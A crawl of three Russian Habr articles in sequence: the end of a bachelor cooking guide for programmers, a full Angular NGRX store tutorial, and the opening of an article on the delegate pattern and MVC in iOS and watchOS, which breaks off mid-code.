![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/67a/86c/75c/67a86c75c363993d88e06eb8faa27040.jpg)Несколько хинтов ускорения процесса с помощью гаджетов. Тут может пригодиться: — **картофелечистка** (от 1000), но требует ровного картофеля и «глазки» потом все равно «выколупывать»; — **пароварка или мультиварка** с этой функцией (от 2000, ускоряет варку той же картошки и свеклы, а также курицы и рыбы) в 1.5 раза; — **блендер-миксер-кухонный комбайн** (от 1500 рублей). Вообще современные производители кухонной техники научились встраивать все что угодно во все что угодно, так что блендер может быть встроен в миксер, миксер – в блендер, а в кухонный комбайн так вообще всё от измельчителя до ломтерезки. Самые полезные из всего парка, ИМХО, блендер в виде «ноги с ножами», а также измельчитель, причем желательно поменьше, вы же не на ораву будете по больше части готовить; — **яйцеварка** (500-1000 рублей); — **кухонные весы** (от 300 рублей, гаджет для программиста, на самом деле, потому что все эти «полстакана», «по вкусу» и «125 миллилитров в живом весе» — тот еще квест, а тут точность, ускорение процесса и гарантированный результат); — **кухонный таймер** (от 100 рублей). Но самый главный гаджет в деле производства салатов — [Bosch MCM 5529](http://market.yandex.ru/model.xml?modelid=4855941) (5000-6000 рублей). Отзывы в основном положительные, к тому же это практически единственный «рубящий в кубик гаджет». Может помочь вам сделать оливье за 7 минут. Есть еще мясорубки с функцией нарезки кубиками: [эта](http://market.yandex.ru/model.xml?modelid=6944729) и [эта](http://market.yandex.ru/model.xml?modelid=7333753) , но что-то отзывы о них не очень. Вообще самый классный рецептовый сайт и в том числе по салатам — [Say7](http://www.say7.info/cook/kitchen/38-Salatyi/) Все очень подробно и популярно, а главное – вкусно. #### Супы Суп – душа обеда ) Я понимаю, что самый вкусный борщик – от мамы или любимой девушки\жены, но во время холостячества без «жидкого» довольно сложно, к тому же почему-то мужчины вообще плохо понимают, как готовить «первое», а зря. Там нет ничего сложного. ##### Самый просто овощной суп. Берем кастрюлю (литра на 2). **Скрытый текст**![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/b29/76b/a41/b2976ba4198b9bdf83dd376f33c4dec3.jpg) ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/a2a/5a5/fb4/a2a5a5fb47e039e70a701cb091e21516.jpg)Заливаем 1,5 литра воды, доводим до кипения, закидываем порезанную кубиками картошку (3-4 штуки), морковь мелко порезанную (1 маленькая), лук маленький (можно просто почистить и закинуть целиком, а потом выловить), закрываем крышку. Закипает вода – добавляем вермишель, или вообще любые макароны, так, чтобы дно покрыть, варим минут 10, закидываем приправы и\или лавровый лист, еще пару минут (главное, чтобы картошка сварилась, критерий – тыкаем вилкой и свободно ее протыкаем). Всё, суп готов. То есть суть – закинуть овощи и подождать. Кстати, так же готовится и борщ (никакой rocket science). ##### Борщ ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/dca/d15/23a/dcad1523a1e6e3efcfa60c1758348ce5.jpg)Лук мелко крошим (тут поможет тот же самый измельчитель) Морковь – на терке или измельчителем Капусту (100-150 грамм) – режем соломкой Свеклу (200 грамм) – соломкой (можно и измельчителем) Обжариваем на масле лук и морковь Картошку (250 гр) – кубиками или брусочками, закидываем в кипящую воду (1,5 литра на 2 литровую кастрюлю) Вода закипела – закинули капусту, 5 подождали – свеклу, 10 минут подождали – лук с морковкой. Лавровый листик один (не надо больше!), посолить-поперчить. Минут 5 ещё поварить (а можно уже выключить огонь, если картошка сварилась) – готово. Если хотите позаморочиться с мясным бульоном, то вот отличный и подробный рецепт с того же say7 — [www.say7.info/cook/recipe/259-Borsch.html](http://www.say7.info/cook/recipe/259-Borsch.html) Самый быстрый мясной суп (помню, на каком-то сайте эту фразу) ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/ecb/75b/0f7/ecb75b0f74376222ebc7b854c4a37099.jpg)##### Суп с фрикадельками Три картошки режем брусочками, 1 морковку мелко – в кипящую воду. Пока там варится, делаем фрикадельки. В миске лук мелко режем, смешиваем с фаршем (200 грамм), солим, катаем шары между двух рук ) Если не лепятся или расползаются – добавьте в фарш 1 яйцо. Осторожно закидываем фрикадельки в бульон, как закипит – можно добавить вермишельку, 7 минут варим – суп готов! Можно также поэкспериментировать с приправами и добавлять их за пару минут до ожидаемой готовности. Ну и в тарелочку супа еще можно зелень покрошить. Ещё упростить задачу можно с помощью пакетика замороженных овощей. Засыпаем их, ждем когда закипит – закидываем фрикадельки. #### Второе ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/250/03d/f6f/25003df6fe854db9eb7697055594b362.jpg)Тут самое наверное популярное после пельменей «блюдо» - **макароны**. Ну и ладушки, можно только разнообразить их различными соусами (только хорошими: дольмо, барилла, ди чекко, монин, анкл бенц). Сварили макароны (в кипящую воду, минут 7-15 в зависимости от вида, на упаковке обычно пишут), вывалили на тарелку – залили соусом. Можно также добавить тертого сыра. Если есть фарш (остался от супа с фрикадельками, ага :) ), то можно обжарить его на масле со всех сторон минут 7 (переворачивать регулярно), закинуть на сковородку макароны, перемешать и чуть обжарить (буквально пару минут). Можно также добавить томатную пасту (пару столовых ложек) и приправы щепотку. ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/2f0/c5c/9f9/2f0c5c9f9e4d0ec5d1e05a72ca34193c.jpg)В целом же **второе из мяса** готовится так: берем курицу, свинину, говядину (филе, вырезку), моем хорошенько, режем на кусочки и обжариваем в масле, переворачивая, когда одна сторона зарумянится, времени займет минут 20-40 (больше для говядины, меньше для курицы). Также мясо можно тушить, то есть к маслу добавить еще воды, чтобы покрывало мясо. Это примерно час, иногда даже полтора. Можно (и даже нужно) добавлять сметану, томатную пасту, овощей и даже фруктов (апельсины, например). Можно мясо варить (у вас будет и бульон для супа, и собственно второе) – это примерно час-полтора. Вот отличный ресурс, для того, чтобы узнать, сколько времени надо варить [www.timeboil.ru/meat](http://www.timeboil.ru/meat/) Ну и можно варить на пару в пароварке или мультиварке, это примерно на 30-40% уменьшит время приготовления. #### Гарнир ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/9db/c00/383/9dbc003837af132c674669ca139b5aae.jpg)Самый простой вариант мы уже рассмотрели – макароны. Не отстают от них и каши в пакетиках типа таких. Круп очень много можно так готовить: гречневую, рис, пшеничную, ячневую, кукурузную, пшено). По-моему, только перловку я в таком виде не встречал. Собственно рецепт прост: закипятили воду, погрузили пакетик, добавили специй, засекли время по рекомендациям производителя – профит. У вас каждый день может быть разный гарнир. Можно также экспериментировать с различными приправами. Так получится будто новый вкус гарнира каждый день. Также незаморочисто можно приготовить замороженные овощи из пакета: разогрел масло на сковороде, закинул овощи, пожарил минут 10, переворачивая, ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/f8c/322/c28/f8c322c28189a74938643da0bce41a2f.jpg)потом залил водой со сметаной, посолил-поперчил, уменьшил огонь и под закрытой крышкой протушил еще минут 10. Готово. Вместо сметаны можно добавить томатную пасту. Ну и традиционные блюда из **картошки: вареная** (20-25 минут), **жареная** (минут 15) и пюре (сварить, порезав, чтоб быстрее, добавить теплого молока или отвар из этой же самой картошки, масла и соли, «подавить» толкушкой). Можно также сделать ее в микроволновке (нарезать брусочками, положить в стеклянную миску, залить сметаной и на 12-15 минут на максимальной мощности, можно еще сыра добавить и еще на минуту). #### Десерт Это вообще высший пилотаж, но несколько простых рецептов есть. В первую очередь **фруктовый салат**. Рецепт простой – порезать фрукты и смешать ) ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/4ba/bc8/de6/4babc8de674bb2d6f95208189939e47d.jpg)Например, бананы, киви, сливы, мандарины, яблоки. Можно заправить йогуртом или зафигачить кусочек мороженого. Или например **десерт «Морозко**». Печенье измельчить в блендере или потолочь, орехи в блендере или потолочь, плитку шоколада потереть на терке. В креманку положить мороженое, потом слой печенья, слой орехов и слой шоколада. Ну и конечно очень просто делаются различные сладкие напитки, например, **коктейль (или смузи)**: мороженое (100 грамм), молоко (150 мл), 1 банан (или клубника, апельсин, киви, персик, ананас, фруктовый сок) смешивается в блендере – готово. И наконец на вечер можно приготовить настоящий **горячий шоколад:** 1 стакан молока развести с 2-3 столовыми ложками (без верха) крахмала, остальное молоко – в кастрюлю на средний огонь и закинуть плитку шоколада. Шоколад растворяется – добавляем молоко с крахмалом, мешаем, нагреваем до тех пор, пока не начнет густеть – приятного аппетита! В общем, приготовление блюд – это на самом деле навык, очень близкий к программированию (и порой более полезный): есть ресурсы и есть алгоритм. ``` program VkusnyiObed; begin Recipe(); end. ``` Удачи вам в усвоении этого нового «языка программирования». Делитесь своими кук-сниппетами в комментах. И ещё раз поздравляю всех хабражительниц с праздником!
https://habr.com/ru/post/172009/
null
ru
null
# Angular: пример использования NGRX ![image](https://habrastorage.org/r/w1560/webt/rz/7h/ee/rz7heen5ey-lo47udm7sn4owfzg.png) Эта статья является продолжением поста [«Angular: понятное введение в NGRX»](https://habr.com/ru/post/489674/) Пример NGRX ----------- В нашем примере будет список пользователей, страница сведений о пользователе и некоторая начальная информация о конфигурации, которую вы должны получить при запуске приложения. Мы собираемся реализовать некоторые важные потоки NGRX. План действий: 1. Установка библиотеки 2. Создание структуры папок для хранилища 3. Создание хранилища и начальных значений 4. Создание действий (Actions) 5. Создание редукторов (Reducers) 6. Создание эффектов (Effects) 7. Создание селекторов (Selectors) 8. Конечная настройка 9. Использование хранилища в компонентах Итак, давайте сделаем это… ### Установка библиотеки Мы собираемся использовать Angle Cli для создания проекта, а затем мы добавим библиотеки ngrx. Создадим проект: ``` ng new angular-ngrx --style=scss ``` Добавим необходимые библиотеки NGRX: ``` npm install @ngrx/core @ngrx/store @ngrx/effects @ngrx/store-devtools @ngrx/router-store --save ``` Мы устанавливаем почти все библиотеки экосистемы ngrx. Большинство из них достаточно ясно описывают их назначение: ядро, хранилище, эффекты, но есть пара, для которой вы можете задаться вопросом, для чего они нужны? * **store-devtools** — Мощный инструмент для отладки. * **router-store** — Сохраняет состояние роутера angular в хранилище. ### Структура папок для хранилища Начнем с обсуждения файловой структуры хранилища. Эта файловая структура и вся конфигурация хранилища должна существовать в основном модуле вашего приложения, но в нашем примере она отсутствует, поэтому хранилище будет существовать в основном модуле нашего приложения (шаги практически одинаковые, если вы делаете это в основном модуле). ![image](https://habrastorage.org/r/w780q1/webt/j2/pu/w_/j2puw_y4zbz0o1n1yemhvo9_ie0.jpeg) Структура папок является представлением фактической композиции хранилища. У вас будет основная папка с названием «store» и пять подпапок, которые представляют каждого из ключевых игроков магазина: «Actions», «Effects», «Redurs», «Selectors» и «State». ### Создание хранилища и начальных значений Как мы уже упоминали ранее, у нас будет два основных раздела: наше приложение, пользователи и конфигурация. Для них обоих нам нужно создать состояние и начальное состояние, а также сделать то же самое для состояния приложения. Мы создали два интерфейса для определения пользователя и конфигурации. У нас также есть один для ответа HTTP пользователя, это просто массив IUser. ![image](https://habrastorage.org/r/w780q1/webt/01/by/u-/01byu-tmzaa4tzpxzbr6ezfax5y.jpeg) ![image](https://habrastorage.org/r/w780q1/webt/hp/m7/l1/hpm7l1osf9nrlyjesvju9c33mxm.jpeg) Начнем с состояния пользователя (store/state/user.state.ts): ![image](https://habrastorage.org/r/w780q1/webt/i9/pl/l-/i9pll-liw2wtmhlnuas8b1n0dzy.jpeg) Что мы здесь делаем: 1. Мы создаем и экспортируем интерфейс со структурой пользовательской среды. 2. Мы делаем то же самое с начальным пользовательским состоянием, которое реализует недавно созданный интерфейс. Для состояния конфигурации мы делаем то же самое (store/states/config.state.ts): ![image](https://habrastorage.org/r/w780q1/webt/88/tb/xm/88tbxmezhb0cau7fbbrzv6kevi8.jpeg) Наконец, нам нужно сгенерировать состояние приложения (store/states/app.state.ts): ![image](https://habrastorage.org/r/w780q1/webt/in/mt/-t/inmt-tcdv5300xnatjpq9bix9os.jpeg) 1. Состояние приложения содержит состояние пользователя и конфигурации, а также состояние маршрутизатора. 2. Потом задаем начальное состояние приложения. 3. Наконец, экспортирует функцию, чтобы получить начальное состояние (мы будем использовать его позже). ### Создание Действий > Обязательно прочитайте определение действия, которое мы обсуждали в [предыдущей статье](https://habr.com/ru/post/489674/). Нам нужно создать действия для пользователей и настройки. Начнем с действий пользователя (store / actions / user.actions.ts): ![image](https://habrastorage.org/r/w780q1/webt/bj/34/rb/bj34rbgqv70s0mbqidrxbadtchk.jpeg) Давайте немного пройдемся по коду: 1. Мы экспортируем Enum, содержащий определение для типов действий. Таким образом, мы избегаем использования и повторения строк для использования типов действий, процесс, который может легко порождаться ошибками. 2. Потом мы создаем и экспортируем класс для каждого из ваших действий. Все они должны реализовать интерфейс Action из ngrx. Наконец, мы устанавливаем тип в одно из значений перечислений, и если вам нужно полезное содержимое для действия, вы добавляете его в конструктор класса. 3. Наконец, мы экспортируем тип, содержащий наши классы действий. Это обеспечит нам проверку типов, которую мы можем использовать, например, в наших редукторах. И это все… создавать действия просто. Давайте посмотрим, как выглядят действия конфигурации (store/actions/config.actions.ts): ![image](https://habrastorage.org/r/w780q1/webt/lc/ay/ew/lcayewp9ls8yumaflh3wybi2tuc.jpeg) Ничего нового здесь, вы, вероятно, теперь чувствуете себя комфортно со всем, что происходит в этом файле. Отлично, мы уже определили состояние и действия… давайте создадим редукторы! ### Создание Редукторов > Обязательно прочтите определение редукторов, которое мы обсуждали в [предыдущей статье](https://habr.com/ru/post/489674/). У нас будут редукторы, реагирующие на некоторые действия, потому что другие будут обрабатываться эффектами, которые мы собираемся реализовать позже. Нам понадобится редуктор для пользователей и другой для конфигурации, но нам также понадобится генерировать редукторы приложений, давайте начнем с рассмотрения редукторов пользователей (store/redurs/user.reducers.ts): ![image](https://habrastorage.org/r/w780q1/webt/ju/4j/7y/ju4j7ytjci0hkzq9zeceffolc-s.jpeg) Давайте обсудим реализацию: 1. Объявление редуктора получает состояние и, в этом случае, действия пользователя и возвращает IUserState. 2. Используя оператор switch, мы генерируем наблюдения для каждого возможного типа действия. 3. Каждый случай возвращает новый объект, который является результатом слияния старого состояния и нового значения. 4. Все редукторы имеют результат по умолчанию, который просто возвращает состояние без каких-либо изменений. И это все. Вы не найдете ничего другого в редукторе. Давайте взглянем на редукторы конфигурации (state/redurs/config.reducers.ts): ![image](https://habrastorage.org/r/w780q1/webt/ou/ky/3m/ouky3m_fpspiahaj5j4sgf5owvk.jpeg) Наконец, давайте посмотрим на редукторы приложений (store): ![image](https://habrastorage.org/r/w780q1/webt/ej/66/hg/ej66hgbbt97ljvpbqs728feti9g.jpeg) Здесь мы добавляем все редукторы на карту редукторов действий приложения. Мы используем карту редуктора действий для дополнительной проверки типов. Позже мы собираемся предоставить это приложение редукторы для модуля store. ### Добавим Эффекты > Обязательно прочтите определение «Эффекты», которое мы обсуждали в [предыдущей статье](https://habr.com/ru/post/489674/). Вы, наверное, уже заметили, что в редукторах мы обрабатываем не все действия. Это потому, что мы собираемся обработать пропущенные действия в эффектах, потому что эти действия имеют побочные эффекты. Начнем с пользовательских эффектов (store/effects/user.effects.ts): ![image](https://habrastorage.org/r/w1560/webt/2n/bk/2c/2nbk2cyc2d_rlrasu6cdi0qjyps.png) Много что происходит в этом файле. Давайте попробуем объяснить их: 1. Мы объявляем наши пользовательские эффекты с помощью инъекционного декоратора. 2. Мы объявляем наши эффекты, используя декоратор эффектов, предоставленный ngrx/Effects. 3. Используя действия, предоставленные ngrx / Effects, мы собираемся запустить конвейер нашего оператора для этого эффекта. 4. Следующим шагом является установка типа действия эффекта с помощью оператора ofType. 5. Следующие части представляют собой операторы rxjs, которые мы используем для получения того, что нам нужно (у нас уже есть ссылка на документацию по rxjs в этой статье). 6. Наконец, в последнем операторе Effect отправит еще одно действие. 7. В конструкторе мы внедряем сервисы, которые мы собираемся использовать, действия для ngrx / Effects, и в этом случае также хранилище (учтите, что это демо, и мы получаем выбранного пользователя из списка пользователей в наше хранилище). Это почти та же структура, которую вы увидите при любом эффекте. В этом случае мы отправляем только успешное действие, но мы можем отправлять ошибки или любое другое состояние, которое мы хотим обработать в наших редукторах приложений. Рассмотрим эффекты конфигурации (store/effects/config.effects.ts): ![image](https://habrastorage.org/r/w1560/webt/rg/vy/xo/rgvyxoxw13yif9tlsok083hyfhu.png) Теперь пришло время поговорить о селекторах… ### Создание Селекторов > Обязательно прочитайте определение Селекторов, которое мы обсуждали в [предыдущей статье](https://habr.com/ru/post/489674/). Нет смысла повторять выборки срезов нашего состояния повсеместно, поэтому давайте создадим некоторые селекторы, которые мы можем использовать повторно. Как всегда, давайте сначала посмотрим на пользовательские селекторы (store/selectors/user.selectors.ts): ![image](https://habrastorage.org/r/w1560/webt/h9/ki/nj/h9kinj8iveawvqfcy2ax6cbi_wu.png) Это действительно понятно, потому что мы не делаем никаких трансформаций данных в наших селекторах, а просто возвращаем срез хранилища, на который ссылается селектор, используя функцию createSelector из ngrx/store. Первый параметр — это фрагмент хранилища, которое будет использоваться для получения данных (это может быть массив с несколькими частями состояния), второй параметр — анонимная функция, которая будет решать, что будет возвращать селектор. Давайте посмотрим на конфигурационные селекторы (store/selectors/config.selectors.ts): ![image](https://habrastorage.org/r/w1560/webt/rf/x3/sy/rfx3syjbo0zah5fkr3d5lyxm-6o.png) ### Итоговая настройка Отлично, мы создали все, что нужно нашему хранилищу, но нам пока не хватает одной вещи — собрать все воедино. Я собираюсь сделать это в модуле приложения, но вы можете применить то же самое в основном модуле вашего приложения. Давайте дополним модуль приложения: ![image](https://habrastorage.org/r/w1560/webt/af/bv/op/afbvopehkmcitmm2xps9ch8mwdy.png) Что мы здесь сделали: 1. Мы импортируем наши редукторы и предоставляем их в forRoot модуля хранилища. 2. Мы импортируем наши эффекты и предоставляем их внутри массива в модуль forRoot эффектов. 3. Мы устанавливаем конфигурацию для модуля состояния маршрутизатора, предоставляющего маршрутизатор stateKey. 4. И мы добавляем инструменты разработчика магазина, если среда не является производственной. Первые два шага необходимы, в то время как шаги 3 и 4 я настоятельно рекомендую, но они не являются обязательными. Теперь мы наконец сделали… мы можем использовать наше хранилище в компонентах! ### Использование хранилища в некоторых компонентах Мы приближаемся к концу! Давайте посмотрим, как использовать наше хранилище… **Во-первых, давайте получим конфигурацию при запуске приложения:** ![image](https://habrastorage.org/r/w1560/webt/-w/kx/sq/-wkxsqjesnv939hqsrqu4w9aqoq.png) 1. Мы добавляем хранилище в наш app.component. 2. Мы устанавливаем для свойства компонента значение селектора в конфигурации, потому что хотим отобразить часть этой информации в HTML. 3. В onInit мы отправляем действие, чтобы получить конфигурацию. Вот и все… Мы уже кодируем эффект, который будет управлять этим действием, и редуктор, который будет обрабатывать этот эффект. Как только Хранилище перейдет в новое состояние, селектор изменит значение нашего свойства. Как это связывать с HTML: ![image](https://habrastorage.org/r/w1560/webt/wx/us/db/wxusdb0f2gbleczgbej7qiquuvk.png) Как только у config$ будет значение, мы увидим его в HTML. Теперь посмотрим список пользователей (containers/users/users.component.ts): ![image](https://habrastorage.org/r/w1560/webt/-s/xe/oi/-sxeoitbesiozalk-fx2apletno.png) 1. Подобно тому, как мы управляем конфигурацией, мы собираемся получить список пользователей. Сначала мы внедряем хранилище в компонент пользователя. 2. На onInit мы отправляем действие, чтобы получить пользователей. 3. Мы создаем свойство для компонента и присваиваем ему список пользователей, используя селектор списка пользователей. HTML выглядит так: ![image](https://habrastorage.org/r/w1560/webt/rg/2p/a2/rg2pa2kcp1kzmwzdcm3u1cjg89y.png) Мы отображаем список пользователей в компоненте презентации, посылая список и связывая выбранного пользователя с функцией навигации, которую можно увидеть в компоненте пользовательского контейнера выше. **Давайте посмотрим на компонент пользовательского контейнера:** ![image](https://habrastorage.org/r/w1560/webt/af/do/ge/afdogebu_sm4girkz_pheed6768.png) Этот компонент получает идентификатор параметра из активированного маршрута, а с остальным вы, вероятно, уже знакомы, отправляет идентификатор в качестве параметра, выбирает выбранного пользователя… Если вы отлаживаете приложение, вы можете увидеть инструменты разработчика, которые довольно просты в использовании… но в этой статье мы изучили достаточно, и я надеюсь, что вы без труда разберетесь с этими инструментами. ### Заключение В этой статье я попытался представить ясное и понятное введение в NGRX, предоставив вам все, что вам нужно знать, чтобы начать разработку используя этот инструмент. Я очень надеюсь, что статья поможет тебе понять шаблон действий и рекомендую вам скачать его и немного поиграть с кодом.
https://habr.com/ru/post/489758/
null
ru
null
# Почему нам нужен Delegate в iOS и WatchOS? Около двух лет назад кто-то задал мне хороший вопрос: «Почему нам нужны делегаты для *UIViewControllers*?» Он думал, что Swift многое облегчил, но вся эта штука с делегатами кажется очень сложной. Почему просто нельзя посылать сообщения или инициализации между классами? Когда я впервые изучал iOS, я признал, что у меня ушли месяцы, чтобы понять, что произошло с делегацией. Я нашел много непонятного кода и немного объяснений. Когда я работал над этим, результата было мало. В большинстве случаев туториалы ссылались на информацию о том, как использовать стандартный делегат Apple, но не показывали, как создавать свой отклик. Эти отклики необходимы для полного понимания делегатов. Я решил, что время обновить статью и включить два примера с которыми разработчики могут столкнуться: iOS и watchOS версии. Вместе с взрослением watchOS в watchOS 3, я думаю, многие разработчики начнут смотреть в сторону разработки приложений для часов и там могут столкнуться с непонятными вещами. ### Что такое Class? Давайте начнем с начала, что бы все понимали проблему. До тех пор, пока мы используем классы в объектно-ориентированном программировании, стоит хорошо понимать, что они из себя представляют. *Class* — это коллекция данных, которые мы называем *properties* (свойства) и действий *methods* (методы) к *properties*. *Properties* и *methods* могут быть ***public*** (публичными) или ***private*** (приватными). *Public* *method* видят и используют классы, кроме определяющего. *Private* значит, что properties или methods видны и используются внутри определяющего класса, а другие классы не в состоянии увидеть или воспользоваться ими. В Swift *private* делает *properties* и *methods* приватными. Вычисление *properties* это другой способ сделать properties приватными. Кроме того, в Swift существует стандартное состояние, которое делает *method* или *class* публичным только для текущей цели. Многим разработчикам не нравится, когда играются с их кодом, а это тоже хороший опыт программирования. В целом, стоит стремиться к тому, чтобы оставлять публичным необходимый минимум для других классов. Сохранение *properties* и *methods* приватными и сокрытие классов называется ***encapsulation*** (инкапсуляция). Инкапсуляция позволяет строить код, как если бы мы строили дом из блоков. Как и у обычного кирпича есть несколько применений, так и у класса есть несколько используемых *methods*. После этого они могут присоединять множество других кирпичей. ### Что такое Model — View — Controller или MVC? ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/109/401/a0f/109401a0f7d3848e6160ffc97334dbb8.png) Часто встречаемый термин MVC среди разработчиков, это не эксклюзивный термин для Xcode проектов. Это последовательность программирования, хорошая организация любой программы или приложения в графическом окружении и в целом окружении, которое взаимодействует с пользователем. MVC разделяет главные части приложения. Во первых разделяет данные и взаимодействие с пользователем и добавляет посредника между ними. Почему это так важно? Вы можете написать и опубликовать приложение для iPhone, затем решить, что версия для iPad это неплохая идея, а затем решить добавить версию для часов. С MVC вы поменяете только одну часть полностью — View и, возможно, немного *Controller*. Код, содержащий данные никогда не меняется между версиями. Это сохранит много времени и сил. ### Что такое Model? ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/4ad/b9b/8ac/4adb9b8ac90c4ab14f71338f4307f897.png) Существуют части программы работающие с данными, которые мы хотим обработать. Система заказа пиццы имеет данные о любом заказе, где могут содержаться ссылки на более подробные данные о каждом клиенте и пицце. Это наша *Model* в системе заказа пиццы: коллекция всех данных, используемых в системе заказов. Она никак не должна контактировать с пользователем, ничего не просит указать и не отображает. Это просто данные. Вот пример простой модели: ``` class switchState{     var state:Bool     func textState()->String{         if state {             return "On"         } else { return "Off"     }     func overLoadSwitch(users:Int,load:Int){       let totalLoad = users * load       if totalLoad > 100 {           switch = false       } } ``` Эта модель состояния переключателя. Это данные. Модель имеет два *methods*: textState() — описывает состояние переключателя, как *String*, overLoadSwitch() выключает переключатель, если количество пользователей \* загрузку больше 100. Есть еще много методов, которые я должен добавить для описания переключателя, но любые методы изменяют или описывают только данные. Тут нет никакого ввода данных от пользователя. *Model* может выполнять расчеты, но опять же, тут нет никакого взаимодействия с пользователем. ### Что такое View? ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/35f/2f9/e0e/35f2f9e0ead39bf616322d867eb9f18e.png)![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/cbc/143/aa3/cbc143aa3836808df13e50dcacca7cd4.png) В *View* происходят все взаимодействия с пользователем. Большинство людей в Xcode используют *Interface Builder*, как холст, чтобы использовать *storyboard* или .*xib* для построения *View*. Разработчик может программно создавать *View* класс, который содержит различные элементы управления. Как *Model* никогда не взаимодействует с пользователем, *View* никогда не взаимодействует напрямую с данными. *View* ничего не делает, он просто есть. Он может отвечать на касания пользователя, например, передавая сигнал какому-либо методу, меняя цвет, если кнопка нажимается или перелистывает список, но это все, что он делает. *View* содержит множество свойств и методов и говорит нам о состоянии *View*. Мы можем изменять поведение интерфейса или его вид через методы или свойства. *View* может передать *Controller*, что были изменения в *View*, например, нажата кнопка или введен символ. Но он ничего не может сделать с этим, кроме как передать информацию. ### Что такое Controller? ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/924/775/3c6/9247753c6522c4ef2dc7523d27f58865.png) Сердце MVC объединяет *View* и *Model*. Называемый *Controller* или *ViewController*, координирует то, что происходит в данных или *View*. Если пользователь нажимает кнопку, *Controller* отвечает на это событие. Если этот ответ означает посыл сообщения *Model*, *ViewController* делает это. Если ответ требует вывода данных из *Model*, *Controller* делает и это тоже. В Xcode, @IBOutlet и @IBAction объединяют файлы содержащие views в Interface Builder и *ViewController*. Ключ к MVC — коммуникация. Если быть точным, ее недостаток. MVC воспринимает инкапсуляцию очень серьезно. *View* и *Model* никогда не общаются напрямую между собой. *Controller* может отсылать сообщения *View* и *Controller*. *View* и *Controller* могут выполнять внутренние действия в ответ на сообщения, как вызов метода или могут возвращать значение *Controller*’у. *Controller* никогда не производит изменения напрямую ни в *Model*, ни в *View*. Итак, *View*, *Model* и *Controller* не изменяют свойства друг друга. *View* и *Model* могут не общаться друг с другом вообще. *View* может говорить *Controller*, что есть изменение в *Model*. *Controller* может посылать сообщения в форме вызова методов к *View*, *Model* и принимать ответы через этот метод. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/3b6/c0b/0c6/3b6c0b0c62cee3a8dcf2504a39c47f70.png) ### Как MVC связывается с другими MVC Все, что мы сейчас обсудили, касается только одной scene в довольно большом приложении. Предположим, у меня есть подобный watchOS storyboard: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/811/4b1/319/8114b13191926103a970b22235c5d429.png) Имеется кнопка Switch, которая загружает другой *View*, имеющий переключатель. Когда я решу, как должен располагаться переключатель, я нажму **Done**. ### Легкий путь В Xcode у нас есть segues (сегвей). Сегвеи удобны для указания от одного *ViewController* к другому. Когда сегвей делает сложные для нас вещи проще и мы передвигаемся от одного *Controller* к другому, сегвей говорит системе открыть определенный *ViewController*, а затем открывает *View* и *Model*. *Model* и *View* в новой MVC настройке отличаются от вызвавшего. Apple включила метод prepare(for segue:) для iOS, который дает нам шанс установить значения в новом *ViewController* и соответственно в новых *ViewController*’s *View* и *Model*. ``` override func prepare(for segue: UIStoryboardSegue, sender: Any?) {         if segue.identifier == "switch"{          let vc = segue.destination as! SwitchViewController          vc.switchState = false         } ``` С появлением WatchOS появился слегка другой подход. Вместо доступа к полной *Model*, watchOS отправляет новым контроллерам единственное значение, называемое ***context***. Так как оно типа **Any?**, вы можете передавать ему любые значения. Чаще всего разработчики передают *dictionaries* значений другим контроллерам через contextForSegue метод. ``` override func contextForSegue(withIdentifier segueIdentifier: String) -> Any? {         return self     } ``` Для идентичных приложений для iPhone и часов я могу нажать кнопку Switch. Она запускает интерфейс переключателя и передает значение переключателю *false*. ### Проблемный путь Мы можем включать и выключать переключатель довольно легко, но когда мы нажимаем Done, чтобы отправить его обратно оригинальному контроллеру вот тогда и появляется проблема. По правилам MVC нам нужен метод, возвращающий значение. Где в вызываемом *instance* мы можем вернуться к его вызвавшему его классу? С инкапсулированным классом мы не можем. В данной ситуации нет возможности отправить пересмотренную *Model* обратно оригинальному контроллеру без поломки инкапсуляции или MVC. Новый *ViewController* ничего не знает о классе который его вызвал. Похоже мы застряли. Если мы попытаемся создать reference напрямую к вызвавшему контроллеру, мы вызовем *reference loop*, который убьет память. Проще говоря, мы не можем отправлять данные обратно. Эту проблему делегаты и протоколы решают будучи немного проворными. Представьте себе другой класс, который на самом деле является скелетом класса. Этот класс содержит только методы. Он декларирует определенные методы в этом классе, но никогда не использует их. В Swift они называются протоколы. Мы создаем протокол, содержащий один метод. Этот метод это то, что вы делаете когда заканчиваете с переключателем и хотите вернуться к вызвавшему контроллеру. Он имеет несколько параметров, данных для передачи обратно вызвавшему контроллеру. Он может выглядеть так: ``` protocol SwitchDelegate {     func didFinishSwitch(switchState:Bool) } ``` Я передал обратно значение переключателя в данном случае. В контроллере с переключателем мы создаем *instance* этого протокола и называем его делегат. ``` delegate : SwitchDelegate! = nil ``` Так как мы имеем свойство типа SwitchDelegate, мы можем использовать методы типа SwitchDelegate, например метод didFinishSwitch. Мы можем привязать выполнение данного метода к кнопке Done: ``` @IBAction func doneButtonPressed(sender:UIButton!){     delegate.didFinishSwitch(switchState: switchState)     dismiss(animated: true, completion: nil) } ``` или для WatchOS: ``` @IBAction func submitSwitchStatus() {     delegate.didFinishSwitch(switchState: switchState)     pop()      } ``` Как только вы сделаете это, вы получите ошибку компиляции, так как метод протокола не существует в классе. В коде, для адаптации класса на примере OrderPizzaViewController, мы используем метод: ``` func didFinishSwitch(switchState: Bool) {         if switchState {             textState = "Switch is On"         } else {             textState = "Switch is Off"         }            } ``` Мы возвращаем данные обратно и то, что нам нужно с ними. В этом случае, будет присвоен текст, отображаемый в *Label*. Еще один шаг. Во время возврата в назначенный контроллер, я сказал, что делегат является *instanc*’ом протокола, но я не сказал, где делегат находился. В prepare(for Segue:) я добавил дополнительную строчку vc.delegate = self, говорящий протоколу о вашем контроллере: ``` override func prepare(for segue: UIStoryboardSegue, 